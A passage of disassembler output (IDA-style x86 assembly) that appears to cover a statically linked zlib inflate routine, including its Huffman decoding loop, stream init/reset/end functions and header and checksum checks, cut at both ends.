					; DATA XREF: ...
		mov	eax, [ebp+arg_4] ; jumptable 0049D665 case 9
		push	0FFFFFFFDh
		mov	[edi+20h], eax
		mov	eax, [ebp+arg_0]
		mov	[edi+1Ch], eax
		mov	eax, [ebp+var_8]
		mov	[esi+4], eax
		mov	eax, [ebp+var_4]
		mov	ecx, eax
		sub	ecx, [esi]
		mov	[esi], eax
		add	[esi+8], ecx
		mov	[edi+34h], edx
		jmp	loc_49DBA1
; ---------------------------------------------------------------------------

loc_49DACF:				; CODE XREF: sub_49D61A+27Aj
		mov	dword ptr [ebx], 9
		mov	dword ptr [esi+18h], offset aInvalidDistanc ; "invalid distance	code"
		jmp	short loc_49DAA7 ; jumptable 0049D665 case 9
; ---------------------------------------------------------------------------

loc_49DADE:				; CODE XREF: sub_49D61A+399j
					; sub_49D61A+459j
		mov	eax, [ebp+arg_4]
		mov	[edi+20h], eax
		mov	eax, [ebp+arg_0]
		mov	[edi+1Ch], eax
		mov	eax, [ebp+var_8]
		mov	[esi+4], eax

loc_49DAF0:				; CODE XREF: sub_49D61A+47Ej
		mov	eax, [ebp+var_4]
		push	[ebp+arg_8]
		mov	ecx, eax
		sub	ecx, [esi]
		mov	[esi], eax
		add	[esi+8], ecx
		mov	[edi+34h], edx
		jmp	loc_49DBA1
; ---------------------------------------------------------------------------

loc_49DB07:				; CODE XREF: sub_49D61A+4Bj
					; DATA XREF: _4:off_49DBB0o
		cmp	[ebp+arg_0], 7	; jumptable 0049D665 case 7
		jbe	short loc_49DB17
		sub	[ebp+arg_0], 8
		inc	[ebp+var_8]
		dec	[ebp+var_4]

loc_49DB17:				; CODE XREF: sub_49D61A+4F1j
		push	[ebp+arg_8]
		mov	[edi+34h], edx
		push	esi
		push	edi
		call	sub_49E8DE
		mov	edx, [edi+34h]
		add	esp, 0Ch
		cmp	[edi+30h], edx
		jz	short loc_49DB53
		mov	ecx, [ebp+arg_4]
		push	eax
		mov	[edi+20h], ecx
		mov	ecx, [ebp+arg_0]
		mov	[edi+1Ch], ecx
		mov	ecx, [ebp+var_8]
		mov	[esi+4], ecx
		mov	ecx, [ebp+var_4]
		mov	ebx, ecx
		sub	ebx, [esi]
		mov	[esi], ecx
		add	[esi+8], ebx
		mov	[edi+34h], edx
		jmp	short loc_49DBA1
; ---------------------------------------------------------------------------

loc_49DB53:				; CODE XREF: sub_49D61A+513j
		mov	dword ptr [ebx], 8

loc_49DB59:				; CODE XREF: sub_49D61A+4Bj
					; DATA XREF: _4:off_49DBB0o
		mov	eax, [ebp+arg_4] ; jumptable 0049D665 case 8
		push	1
		mov	[edi+20h], eax
		mov	eax, [ebp+arg_0]
		mov	[edi+1Ch], eax
		mov	eax, [ebp+var_8]
		mov	[esi+4], eax
		mov	eax, [ebp+var_4]
		mov	ecx, eax
		sub	ecx, [esi]
		mov	[esi], eax
		add	[esi+8], ecx
		mov	[edi+34h], edx
		jmp	short loc_49DBA1
; ---------------------------------------------------------------------------

loc_49DB7E:				; CODE XREF: sub_49D61A+45j
		mov	eax, [ebp+arg_4] ; default
		push	0FFFFFFFEh
		mov	[edi+20h], eax
		mov	eax, [ebp+arg_0]
		mov	[edi+1Ch], eax
		mov	eax, [ebp+var_8]
		mov	[esi+4], eax
		mov	eax, [ebp+var_4]
		mov	ecx, eax
		sub	ecx, [esi]
		mov	[esi], eax
		add	[esi+8], ecx
		mov	[edi+34h], edx

loc_49DBA1:				; CODE XREF: sub_49D61A+4B0j
					; sub_49D61A+4E8j ...
		push	esi
		push	edi
		call	sub_49E8DE
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_49D61A	endp

; ---------------------------------------------------------------------------
off_49DBB0	dd offset loc_49D66C	; DATA XREF: sub_49D61A+4Br
		dd offset loc_49D71B	; jump table for switch	statement
		dd offset loc_49D7C3
		dd offset loc_49D81E
		dd offset loc_49D8AB
		dd offset loc_49D8F9
		dd offset loc_49D9EB
		dd offset loc_49DB07
		dd offset loc_49DB59
		dd offset loc_49DAA7

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49DBD8	proc near		; CODE XREF: sub_49CB53+3Ap
					; sub_49CC4B+5F7p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_0]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+28h]
		call	dword ptr [eax+24h]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_49DBD8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49DBEB	proc near		; CODE XREF: sub_49D61A+9Ap

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_10]
		push	edi
		mov	edi, [ebp+arg_14]
		mov	ecx, [esi+34h]
		mov	edx, [esi+1Ch]
		mov	eax, [edi]
		mov	[ebp+var_C], ecx
		mov	[ebp+var_8], eax
		mov	eax, [edi+4]
		mov	[ebp+var_4], eax
		mov	eax, [esi+20h]
		mov	[ebp+arg_14], eax
		mov	eax, [esi+30h]
		cmp	ecx, eax
		jnb	short loc_49DC20
		sub	eax, ecx
		dec	eax
		jmp	short loc_49DC25
; ---------------------------------------------------------------------------

loc_49DC20:				; CODE XREF: sub_49DBEB+2Ej
		mov	eax, [esi+2Ch]
		sub	eax, ecx

loc_49DC25:				; CODE XREF: sub_49DBEB+33j
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_0]
		mov	eax, ds:dword_4A1318[eax*4]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+arg_4]
		mov	eax, ds:dword_4A1318[eax*4]
		mov	[ebp+arg_4], eax

loc_49DC42:				; CODE XREF: sub_49DBEB+72j
					; sub_49DBEB+231j
		cmp	edx, 14h
		jnb	short loc_49DC5F
		mov	eax, [ebp+var_8]
		dec	[ebp+var_4]
		mov	ecx, edx
		movzx	eax, byte ptr [eax]
		shl	eax, cl
		or	[ebp+arg_14], eax
		inc	[ebp+var_8]
		add	edx, 8
		jmp	short loc_49DC42
; ---------------------------------------------------------------------------

loc_49DC5F:				; CODE XREF: sub_49DBEB+5Aj
		mov	eax, [ebp+var_14]
		mov	ecx, [ebp+arg_8]
		and	eax, [ebp+arg_14]
		lea	eax, [ecx+eax*8]
		movzx	ecx, byte ptr [eax]
		mov	[ebp+arg_0], ecx
		test	ecx, ecx

loc_49DC73:				; CODE XREF: sub_49DBEB+C4j
		movzx	ecx, byte ptr [eax+1]
		jz	loc_49DDF6
		shr	[ebp+arg_14], cl
		movzx	ecx, byte ptr [eax+1]
		sub	edx, ecx
		mov	ecx, [ebp+arg_0]
		test	cl, 10h
		jnz	short loc_49DCB1
		test	cl, 40h
		jnz	loc_49DE56
		mov	ecx, ds:dword_4A1318[ecx*4]
		and	ecx, [ebp+arg_14]
		add	ecx, [eax+4]
		lea	eax, [eax+ecx*8]
		movzx	ecx, byte ptr [eax]
		mov	[ebp+arg_0], ecx
		test	ecx, ecx
		jmp	short loc_49DC73
; ---------------------------------------------------------------------------

loc_49DCB1:				; CODE XREF: sub_49DBEB+A1j
		and	ecx, 0Fh
		mov	esi, ds:dword_4A1318[ecx*4]
		and	esi, [ebp+arg_14]
		shr	[ebp+arg_14], cl
		add	esi, [eax+4]
		sub	edx, ecx
		mov	[ebp+arg_0], esi

loc_49DCC9:				; CODE XREF: sub_49DBEB+F9j
		cmp	edx, 0Fh
		jnb	short loc_49DCE6
		mov	eax, [ebp+var_8]
		dec	[ebp+var_4]
		mov	ecx, edx
		movzx	eax, byte ptr [eax]
		shl	eax, cl
		or	[ebp+arg_14], eax
		inc	[ebp+var_8]
		add	edx, 8
		jmp	short loc_49DCC9
; ---------------------------------------------------------------------------

loc_49DCE6:				; CODE XREF: sub_49DBEB+E1j
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+arg_C]
		and	eax, [ebp+arg_14]
		movzx	ebx, byte ptr [ecx+eax*8]
		lea	eax, [ecx+eax*8]
		movzx	ecx, byte ptr [eax+1]
		shr	[ebp+arg_14], cl
		movzx	ecx, byte ptr [eax+1]
		sub	edx, ecx

loc_49DD03:				; CODE XREF: sub_49DBEB+146j
		test	bl, 10h
		jnz	short loc_49DD33
		test	bl, 40h
		jnz	loc_49DE21
		mov	ecx, ds:dword_4A1318[ebx*4]
		and	ecx, [ebp+arg_14]
		add	ecx, [eax+4]
		movzx	ebx, byte ptr [eax+ecx*8]
		lea	eax, [eax+ecx*8]
		movzx	ecx, byte ptr [eax+1]
		shr	[ebp+arg_14], cl
		mov	[ebp+var_18], ecx
		sub	edx, ecx
		jmp	short loc_49DD03
; ---------------------------------------------------------------------------

loc_49DD33:				; CODE XREF: sub_49DBEB+11Bj
		and	ebx, 0Fh

loc_49DD36:				; CODE XREF: sub_49DBEB+165j
		cmp	edx, ebx
		jnb	short loc_49DD52
		mov	ecx, [ebp+var_8]
		dec	[ebp+var_4]
		movzx	esi, byte ptr [ecx]
		mov	ecx, edx
		shl	esi, cl
		or	[ebp+arg_14], esi
		inc	[ebp+var_8]
		add	edx, 8
		jmp	short loc_49DD36
; ---------------------------------------------------------------------------

loc_49DD52:				; CODE XREF: sub_49DBEB+14Dj
		mov	esi, ds:dword_4A1318[ebx*4]
		mov	ecx, ebx
		and	esi, [ebp+arg_14]
		sub	edx, ebx
		shr	[ebp+arg_14], cl
		add	esi, [eax+4]
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_C]
		sub	[ebp+var_10], eax
		mov	ebx, [ebp+arg_10]
		mov	eax, ecx
		sub	eax, esi
		mov	esi, [ebx+28h]
		cmp	eax, esi
		jnb	short loc_49DDD2
		mov	ebx, [ebx+2Ch]
		mov	[ebp+var_18], ebx
		sub	ebx, esi

loc_49DD85:				; CODE XREF: sub_49DBEB+19Ej
		add	eax, ebx
		cmp	eax, esi
		jb	short loc_49DD85
		mov	esi, [ebp+var_18]
		sub	esi, eax
		cmp	[ebp+arg_0], esi
		jbe	short loc_49DDB4
		sub	[ebp+arg_0], esi

loc_49DD98:				; CODE XREF: sub_49DBEB+1B4j
		mov	bl, [eax]
		mov	[ecx], bl
		inc	ecx
		inc	eax
		dec	esi
		jnz	short loc_49DD98
		mov	eax, [ebp+arg_10]
		mov	esi, [eax+28h]

loc_49DDA7:				; CODE XREF: sub_49DBEB+1C5j
		mov	al, [esi]
		mov	[ecx], al
		inc	ecx
		inc	esi
		dec	[ebp+arg_0]
		jnz	short loc_49DDA7
		jmp	short loc_49DDEE
; ---------------------------------------------------------------------------

loc_49DDB4:				; CODE XREF: sub_49DBEB+1A8j
		mov	bl, [eax]
		mov	[ecx], bl
		mov	bl, [eax+1]
		inc	ecx
		inc	eax
		mov	[ecx], bl
		inc	ecx
		inc	eax
		sub	[ebp+arg_0], 2

loc_49DDC5:				; CODE XREF: sub_49DBEB+1E3j
		mov	bl, [eax]
		mov	[ecx], bl
		inc	ecx
		inc	eax
		dec	[ebp+arg_0]
		jnz	short loc_49DDC5
		jmp	short loc_49DDEE
; ---------------------------------------------------------------------------

loc_49DDD2:				; CODE XREF: sub_49DBEB+190j
		mov	bl, [eax]
		mov	[ecx], bl
		mov	bl, [eax+1]
		inc	ecx
		inc	eax
		mov	[ecx], bl
		inc	ecx
		inc	eax
		sub	[ebp+arg_0], 2

loc_49DDE3:				; CODE XREF: sub_49DBEB+201j
		mov	bl, [eax]
		mov	[ecx], bl
		inc	ecx
		inc	eax
		dec	[ebp+arg_0]
		jnz	short loc_49DDE3

loc_49DDEE:				; CODE XREF: sub_49DBEB+1C7j
					; sub_49DBEB+1E5j
		mov	esi, [ebp+arg_10]
		mov	[ebp+var_C], ecx
		jmp	short loc_49DE0D
; ---------------------------------------------------------------------------

loc_49DDF6:				; CODE XREF: sub_49DBEB+8Cj
		shr	[ebp+arg_14], cl
		movzx	ecx, byte ptr [eax+1]
		mov	al, [eax+4]
		sub	edx, ecx
		mov	ecx, [ebp+var_C]
		inc	[ebp+var_C]
		dec	[ebp+var_10]
		mov	[ecx], al

loc_49DE0D:				; CODE XREF: sub_49DBEB+209j
		cmp	[ebp+var_10], 102h
		jb	short loc_49DE41
		cmp	[ebp+var_4], 0Ah
		jb	short loc_49DE41
		jmp	loc_49DC42
; ---------------------------------------------------------------------------

loc_49DE21:				; CODE XREF: sub_49DBEB+120j
		mov	ecx, [edi+4]
		mov	eax, edx
		sub	ecx, [ebp+var_4]
		mov	dword ptr [edi+18h], offset aInvalidDistanc ; "invalid distance	code"
		shr	eax, 3
		cmp	eax, ecx
		jnb	short loc_49DE39
		mov	ecx, eax

loc_49DE39:				; CODE XREF: sub_49DBEB+24Aj
		mov	esi, [ebp+arg_10]
		push	0FFFFFFFDh
		pop	eax
		jmp	short loc_49DE8B
; ---------------------------------------------------------------------------

loc_49DE41:				; CODE XREF: sub_49DBEB+229j
					; sub_49DBEB+22Fj
		mov	ecx, [edi+4]
		mov	eax, edx
		sub	ecx, [ebp+var_4]
		shr	eax, 3
		cmp	eax, ecx
		jnb	short loc_49DE52
		mov	ecx, eax

loc_49DE52:				; CODE XREF: sub_49DBEB+263j
		xor	eax, eax
		jmp	short loc_49DE8B
; ---------------------------------------------------------------------------

loc_49DE56:				; CODE XREF: sub_49DBEB+A6j
		test	cl, 20h
		jz	short loc_49DE70
		mov	ecx, [edi+4]
		mov	eax, edx
		sub	ecx, [ebp+var_4]
		shr	eax, 3
		cmp	eax, ecx
		jnb	short loc_49DE6C
		mov	ecx, eax

loc_49DE6C:				; CODE XREF: sub_49DBEB+27Dj
		push	1
		jmp	short loc_49DE8A
; ---------------------------------------------------------------------------

loc_49DE70:				; CODE XREF: sub_49DBEB+26Ej
		mov	ecx, [edi+4]
		mov	eax, edx
		sub	ecx, [ebp+var_4]
		mov	dword ptr [edi+18h], offset aInvalidLiteral ; "invalid literal/length code"
		shr	eax, 3
		cmp	eax, ecx
		jnb	short loc_49DE88
		mov	ecx, eax

loc_49DE88:				; CODE XREF: sub_49DBEB+299j
		push	0FFFFFFFDh

loc_49DE8A:				; CODE XREF: sub_49DBEB+283j
		pop	eax

loc_49DE8B:				; CODE XREF: sub_49DBEB+254j
					; sub_49DBEB+269j
		mov	ebx, [ebp+arg_14]
		sub	[ebp+var_8], ecx
		mov	[esi+20h], ebx
		mov	ebx, ecx
		shl	ebx, 3
		sub	edx, ebx
		mov	[esi+1Ch], edx
		mov	edx, [ebp+var_4]
		add	ecx, edx
		mov	[edi+4], ecx
		mov	ecx, [ebp+var_8]
		mov	edx, ecx
		sub	edx, [edi]
		mov	[edi], ecx
		mov	ecx, [ebp+var_C]
		add	[edi+8], edx
		mov	[esi+34h], ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_49DBEB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49DEBD	proc near		; CODE XREF: sub_49DF41+D4p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		cmp	eax, edx
		jz	short loc_49DEFB
		mov	ecx, [eax+1Ch]
		cmp	ecx, edx
		jz	short loc_49DEFB
		push	esi
		mov	[eax+14h], edx
		mov	[eax+8], edx
		mov	[eax+18h], edx
		mov	esi, [ecx+0Ch]
		push	edx
		neg	esi
		sbb	esi, esi
		push	eax
		and	esi, 7
		mov	[ecx], esi
		mov	eax, [eax+1Ch]
		push	dword ptr [eax+14h]
		call	sub_49CB53
		add	esp, 0Ch
		xor	eax, eax
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_49DEFB:				; CODE XREF: sub_49DEBD+Aj
					; sub_49DEBD+11j
		push	0FFFFFFFEh
		pop	eax
		pop	ebp
		retn
sub_49DEBD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49DF00	proc near		; CODE XREF: sub_49DF41+C9p
					; sub_49E9F3+59p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		test	esi, esi
		jz	short loc_49DF3B
		mov	eax, [esi+1Ch]
		test	eax, eax
		jz	short loc_49DF3B
		cmp	dword ptr [esi+24h], 0
		jz	short loc_49DF3B
		mov	eax, [eax+14h]
		test	eax, eax
		jz	short loc_49DF28
		push	esi
		push	eax
		call	sub_49D5B0
		pop	ecx
		pop	ecx

loc_49DF28:				; CODE XREF: sub_49DF00+1Dj
		push	dword ptr [esi+1Ch]
		push	dword ptr [esi+28h]
		call	dword ptr [esi+24h]
		and	dword ptr [esi+1Ch], 0
		pop	ecx
		pop	ecx
		xor	eax, eax
		jmp	short loc_49DF3E
; ---------------------------------------------------------------------------

loc_49DF3B:				; CODE XREF: sub_49DF00+9j
					; sub_49DF00+10j ...
		push	0FFFFFFFEh
		pop	eax

loc_49DF3E:				; CODE XREF: sub_49DF00+39j
		pop	esi
		pop	ebp
		retn
sub_49DF00	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49DF41	proc near		; CODE XREF: sub_49E02B+Ep

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_8]
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	eax, edi
		jz	loc_49E023
		mov	al, [eax]
		cmp	al, ds:byte_4A00A8
		jnz	loc_49E023
		cmp	[ebp+arg_C], 38h
		jnz	loc_49E023
		mov	esi, [ebp+arg_0]
		cmp	esi, edi
		jnz	short loc_49DF7A
		push	0FFFFFFFEh
		jmp	loc_49E025
; ---------------------------------------------------------------------------

loc_49DF7A:				; CODE XREF: sub_49DF41+30j
		cmp	[esi+20h], edi
		mov	[esi+18h], edi
		jnz	short loc_49DF8C
		mov	dword ptr [esi+20h], offset sub_49EA72
		mov	[esi+28h], edi

loc_49DF8C:				; CODE XREF: sub_49DF41+3Fj
		cmp	[esi+24h], edi
		jnz	short loc_49DF98
		mov	dword ptr [esi+24h], offset sub_49EA8C

loc_49DF98:				; CODE XREF: sub_49DF41+4Ej
		push	18h
		push	1
		pop	ebx
		push	ebx
		push	dword ptr [esi+28h]
		call	dword ptr [esi+20h]
		add	esp, 0Ch
		cmp	eax, edi
		mov	[esi+1Ch], eax
		jnz	short loc_49DFB2
		push	0FFFFFFFCh
		jmp	short loc_49E025
; ---------------------------------------------------------------------------

loc_49DFB2:				; CODE XREF: sub_49DF41+6Bj
		mov	ecx, [ebp+arg_4]
		mov	[eax+14h], edi
		mov	eax, [esi+1Ch]
		cmp	ecx, edi
		mov	[eax+0Ch], edi
		jge	short loc_49DFCA
		mov	eax, [esi+1Ch]
		neg	ecx
		mov	[eax+0Ch], ebx

loc_49DFCA:				; CODE XREF: sub_49DF41+7Fj
		cmp	ecx, 8
		jl	short loc_49E01F
		cmp	ecx, 0Fh
		jg	short loc_49E01F
		mov	eax, [esi+1Ch]
		shl	ebx, cl
		mov	[eax+10h], ecx
		mov	eax, [esi+1Ch]
		mov	eax, [eax+0Ch]
		neg	eax
		sbb	eax, eax
		push	ebx
		not	eax
		and	eax, offset sub_48DF6E
		push	eax
		push	esi
		call	sub_49CBBF
		mov	ecx, [esi+1Ch]
		add	esp, 0Ch
		mov	[ecx+14h], eax
		mov	eax, [esi+1Ch]
		cmp	[eax+14h], edi
		jnz	short loc_49E014
		push	0FFFFFFFCh

loc_49E008:				; CODE XREF: sub_49DF41+E0j
		pop	edi
		push	esi
		call	sub_49DF00
		pop	ecx
		mov	eax, edi
		jmp	short loc_49E026
; ---------------------------------------------------------------------------

loc_49E014:				; CODE XREF: sub_49DF41+C3j
		push	esi
		call	sub_49DEBD
		pop	ecx
		xor	eax, eax
		jmp	short loc_49E026
; ---------------------------------------------------------------------------

loc_49E01F:				; CODE XREF: sub_49DF41+8Cj
					; sub_49DF41+91j
		push	0FFFFFFFEh
		jmp	short loc_49E008
; ---------------------------------------------------------------------------

loc_49E023:				; CODE XREF: sub_49DF41+Dj
					; sub_49DF41+1Bj ...
		push	0FFFFFFFAh

loc_49E025:				; CODE XREF: sub_49DF41+34j
					; sub_49DF41+6Fj
		pop	eax

loc_49E026:				; CODE XREF: sub_49DF41+D1j
					; sub_49DF41+DCj
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_49DF41	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49E02B	proc near		; CODE XREF: sub_49E9F3+35p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	0Fh
		push	[ebp+arg_0]
		call	sub_49DF41
		add	esp, 10h
		pop	ebp
		retn
sub_49E02B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49E043	proc near		; CODE XREF: sub_49E9F3+47p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		xor	eax, eax
		cmp	esi, eax
		push	edi
		jz	loc_49E355	; default
		cmp	[esi+1Ch], eax
		jz	loc_49E355	; default
		cmp	[esi], eax
		jz	loc_49E355	; default
		cmp	[ebp+arg_4], 4
		push	0FFFFFFFBh
		pop	ebx
		mov	[ebp+arg_4], ebx
		jz	short loc_49E076
		mov	[ebp+arg_4], eax

loc_49E076:				; CODE XREF: sub_49E043+2Ej
					; sub_49E043+111j
		push	0Dh
		pop	edi

loc_49E079:				; CODE XREF: sub_49E043+8Aj
					; sub_49E043+FAj ...
		mov	eax, [esi+1Ch]
		mov	ecx, [eax]
		cmp	ecx, edi	; switch 14 cases
		ja	loc_49E355	; default
		jmp	ds:off_49E36E[ecx*4] ; switch jump

loc_49E08D:				; DATA XREF: _4:off_49E36Eo
		mov	ecx, [esi+4]	; jumptable 0049E086 case 0
		test	ecx, ecx
		jz	loc_49E27F
		dec	ecx
		inc	dword ptr [esi+8]
		mov	[esi+4], ecx
		mov	ecx, [esi]
		mov	ebx, [ebp+arg_4]
		movzx	ecx, byte ptr [ecx]
		mov	[eax+4], ecx
		mov	eax, [esi+1Ch]
		mov	ecx, [eax+4]
		and	ecx, 0Fh
		inc	dword ptr [esi]
		cmp	cl, 8
		jz	short loc_49E0CF
		mov	[eax], edi
		mov	dword ptr [esi+18h], offset aUnknownCompres ; "unknown compression method"

loc_49E0C3:				; CODE XREF: sub_49E043+A3j
					; sub_49E043+237j
		mov	eax, [esi+1Ch]
		mov	dword ptr [eax+4], 5
		jmp	short loc_49E079
; ---------------------------------------------------------------------------

loc_49E0CF:				; CODE XREF: sub_49E043+75j
		mov	ecx, [eax+4]
		shr	ecx, 4
		add	ecx, 8
		cmp	ecx, [eax+10h]
		jbe	short loc_49E0E8
		mov	[eax], edi
		mov	dword ptr [esi+18h], offset aInvalidWindowS ; "invalid window size"
		jmp	short loc_49E0C3
; ---------------------------------------------------------------------------

loc_49E0E8:				; CODE XREF: sub_49E043+98j
		mov	dword ptr [eax], 1

loc_49E0EE:				; CODE XREF: sub_49E043+43j
					; DATA XREF: _4:off_49E36Eo
		mov	eax, [esi+4]	; jumptable 0049E086 case 1
		test	eax, eax
		jz	loc_49E27F
		mov	ecx, [ebp+arg_4]
		dec	eax
		inc	dword ptr [esi+8]
		mov	[esi+4], eax
		mov	eax, [esi]
		mov	[ebp+arg_0], ecx
		mov	ecx, [esi+1Ch]
		push	1Fh
		movzx	ebx, byte ptr [eax]
		inc	eax
		xor	edx, edx
		mov	[esi], eax
		mov	eax, [ecx+4]
		shl	eax, 8
		add	eax, ebx
		pop	edi
		div	edi
		test	edx, edx
		jz	short loc_49E142
		push	0Dh
		mov	ebx, [ebp+arg_0]
		pop	edi
		mov	[ecx], edi
		mov	eax, [esi+1Ch]
		mov	dword ptr [esi+18h], offset aIncorrectHeade ; "incorrect header	check"
		mov	dword ptr [eax+4], 5
		jmp	loc_49E079
; ---------------------------------------------------------------------------

loc_49E142:				; CODE XREF: sub_49E043+DFj
		test	bl, 20h
		jnz	loc_49E286
		mov	ebx, [ebp+arg_0]
		mov	dword ptr [ecx], 7
		jmp	loc_49E076
; ---------------------------------------------------------------------------

loc_49E159:				; CODE XREF: sub_49E043+43j
					; DATA XREF: _4:off_49E36Eo
		push	ebx		; jumptable 0049E086 case 7
		push	esi
		push	dword ptr [eax+14h]
		call	sub_49CC4B
		mov	ebx, eax
		add	esp, 0Ch
		cmp	ebx, 0FFFFFFFDh
		jnz	short loc_49E17E
		mov	eax, [esi+1Ch]
		mov	[eax], edi
		mov	eax, [esi+1Ch]
		and	dword ptr [eax+4], 0
		jmp	loc_49E079
; ---------------------------------------------------------------------------

loc_49E17E:				; CODE XREF: sub_49E043+128j
		test	ebx, ebx
		jnz	short loc_49E185
		mov	ebx, [ebp+arg_4]

loc_49E185:				; CODE XREF: sub_49E043+13Dj
		cmp	ebx, 1
		jnz	loc_49E27F
		mov	eax, [esi+1Ch]
		mov	ebx, [ebp+arg_4]
		lea	ecx, [eax+4]
		push	ecx
		push	esi
		push	dword ptr [eax+14h]
		call	sub_49CB53
		mov	eax, [esi+1Ch]
		add	esp, 0Ch
		cmp	dword ptr [eax+0Ch], 0
		jz	short loc_49E1B8
		mov	dword ptr [eax], 0Ch
		jmp	loc_49E079
; ---------------------------------------------------------------------------

loc_49E1B8:				; CODE XREF: sub_49E043+168j
		mov	dword ptr [eax], 8

loc_49E1BE:				; CODE XREF: sub_49E043+43j
					; DATA XREF: _4:off_49E36Eo
		mov	eax, [esi+4]	; jumptable 0049E086 case 8
		test	eax, eax
		jz	loc_49E27F
		dec	eax
		inc	dword ptr [esi+8]
		mov	ecx, [esi+1Ch]
		mov	[esi+4], eax
		mov	eax, [esi]
		mov	ebx, [ebp+arg_4]
		movzx	eax, byte ptr [eax]
		shl	eax, 18h
		mov	[ecx+8], eax
		mov	eax, [esi+1Ch]
		inc	dword ptr [esi]
		mov	dword ptr [eax], 9

loc_49E1EC:				; CODE XREF: sub_49E043+43j
					; DATA XREF: _4:off_49E36Eo
		mov	eax, [esi+4]	; jumptable 0049E086 case 9
		test	eax, eax
		jz	loc_49E27F
		mov	ecx, [esi]
		dec	eax
		inc	dword ptr [esi+8]
		mov	[esi+4], eax
		movzx	ecx, byte ptr [ecx]
		mov	eax, [esi+1Ch]
		mov	ebx, [ebp+arg_4]
		shl	ecx, 10h
		add	[eax+8], ecx
		mov	eax, [esi+1Ch]
		inc	dword ptr [esi]
		mov	dword ptr [eax], 0Ah

loc_49E21A:				; CODE XREF: sub_49E043+43j
					; DATA XREF: _4:off_49E36Eo
		mov	eax, [esi+4]	; jumptable 0049E086 case 10
		test	eax, eax
		jz	short loc_49E27F
		mov	ecx, [esi]
		dec	eax
		inc	dword ptr [esi+8]
		mov	[esi+4], eax
		movzx	ecx, byte ptr [ecx]
		mov	eax, [esi+1Ch]
		mov	ebx, [ebp+arg_4]
		shl	ecx, 8
		add	[eax+8], ecx
		mov	eax, [esi+1Ch]
		inc	dword ptr [esi]
		mov	dword ptr [eax], 0Bh

loc_49E244:				; CODE XREF: sub_49E043+43j
					; DATA XREF: _4:off_49E36Eo
		mov	eax, [esi+4]	; jumptable 0049E086 case 11
		test	eax, eax
		jz	short loc_49E27F
		mov	ecx, [esi]
		dec	eax
		inc	dword ptr [esi+8]
		mov	[esi+4], eax
		movzx	ecx, byte ptr [ecx]
		mov	eax, [esi+1Ch]
		mov	ebx, [ebp+arg_4]
		add	[eax+8], ecx
		mov	eax, [esi+1Ch]
		inc	dword ptr [esi]
		mov	ecx, [eax+4]
		cmp	ecx, [eax+8]
		jz	loc_49E35D
		mov	[eax], edi
		mov	dword ptr [esi+18h], offset aIncorrectDataC ; "incorrect data check"
		jmp	loc_49E0C3
; ---------------------------------------------------------------------------

loc_49E27F:				; CODE XREF: sub_49E043+4Fj
					; sub_49E043+B0j ...
		mov	eax, ebx
		jmp	loc_49E358
; ---------------------------------------------------------------------------

loc_49E286:				; CODE XREF: sub_49E043+102j
		mov	eax, [esi+1Ch]
		mov	ebx, [ebp+arg_0]
		mov	dword ptr [eax], 2

loc_49E292:				; CODE XREF: sub_49E043+43j
					; DATA XREF: _4:off_49E36Eo
		mov	eax, [esi+4]	; jumptable 0049E086 case 2
		test	eax, eax
		jz	short loc_49E27F
		dec	eax
		inc	dword ptr [esi+8]
		mov	ecx, [esi+1Ch]
		mov	[esi+4], eax
		mov	eax, [esi]
		mov	ebx, [ebp+arg_4]
		movzx	eax, byte ptr [eax]
		shl	eax, 18h
		mov	[ecx+8], eax
		mov	eax, [esi+1Ch]
		inc	dword ptr [esi]
		mov	dword ptr [eax], 3

loc_49E2BC:				; CODE XREF: sub_49E043+43j
					; DATA XREF: _4:off_49E36Eo
		mov	eax, [esi+4]	; jumptable 0049E086 case 3
		test	eax, eax
		jz	short loc_49E27F
		mov	ecx, [esi]
		dec	eax
		inc	dword ptr [esi+8]
		mov	[esi+4], eax
		movzx	ecx, byte ptr [ecx]
		mov	eax, [esi+1Ch]
		mov	ebx, [ebp+arg_4]
		shl	ecx, 10h
		add	[eax+8], ecx
		mov	eax, [esi+1Ch]
		inc	dword ptr [esi]
		mov	dword ptr [eax], 4

